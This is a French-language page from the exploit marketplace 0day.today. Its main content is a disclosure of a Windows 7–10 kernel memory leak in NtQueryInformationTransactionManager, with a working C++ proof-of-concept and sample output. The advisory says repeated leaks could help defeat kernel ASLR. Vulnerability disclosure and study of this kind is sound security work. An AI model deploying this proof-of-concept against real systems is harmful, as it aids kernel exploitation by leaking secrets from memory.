0day.today - La plus grande base de données de Exploit dans le monde.
![](/img/logo_green.jpg)
Nous utilisons un domaine DOMAIN_LINK
Si vous voulez acheter un exploit ou payer un service vous avez besoins d'Or. Nous ne voulons pas que notre site soit utiliser comme outil de piratage , de sorte que touts types d'actions qui pourrais affecter illegalement d'autres utilisateurs ou sites web ou vous n'avez pas l'autorisation vous serez bannit et votre compte ainsi que vos donnees seront supprimees.
Les administrateur de 0day.today utilises des moyens de contacts officiels. Mefiez-vous des imposteurs!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Lire le [ J'accepte ]
- Lire le [ Envoyer ] Regles
- Visiter le [ faq ] page
- [ Enregistrement ] profil
- Obtenir [ GOLD ]
- Si vous voulez [ vendre ]
- Si vous voulez [ acheter ]
- Si vous vous perdez [ Compte ]
- Une questions [ [email protected] ]
- Connexion
- Page d'enregistrement
- Restauration de compte
- Foire aux questions
- Contactez-nous
- Regle de publication
- Page de contrat
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Vous pouvez nous contacter par:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Windows - nt!NtQueryInformationTransactionManager (TransactionManagerRecoveryInformation)
Auteur
Risque
![](/img/risk/critlow_2.gif)
Security Risk Medium
]0day-ID
Catégorie
Date d'ajout
CVE
Plateforme
/* We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION: --- cut --- typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION { ULONGLONG LastRecoveredLsn; } TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION; --- cut --- We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType. The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- C:\>NtQueryInformationTransactionManager.exe Status: 0, Return Length: 8 00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........ C:\>NtQueryInformationTransactionManager.exe Status: 0, Return Length: 8 00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........ C:\>NtQueryInformationTransactionManager.exe Status: 0, Return Length: 8 00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........ C:\>NtQueryInformationTransactionManager.exe Status: 0, Return Length: 8 00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........ --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <ntstatus.h> #include <KtmW32.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "KtmW32.lib") extern "C" { NTSTATUS NTAPI NtQueryInformationTransactionManager( _In_ HANDLE TransactionManagerHandle, _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, _Out_ PVOID TransactionManagerInformation, _In_ ULONG TransactionManagerInformationLength, _Out_opt_ PULONG ReturnLength ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0); TRANSACTIONMANAGER_RECOVERY_INFORMATION Information; DWORD ReturnLength = 0; NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength); printf("Status: %x, Return Length: %x\n", Status, ReturnLength); PrintHex(&Information, sizeof(Information)); CloseHandle(hTransactionMgr); return 0; } # 0day.today [2024-07-02] #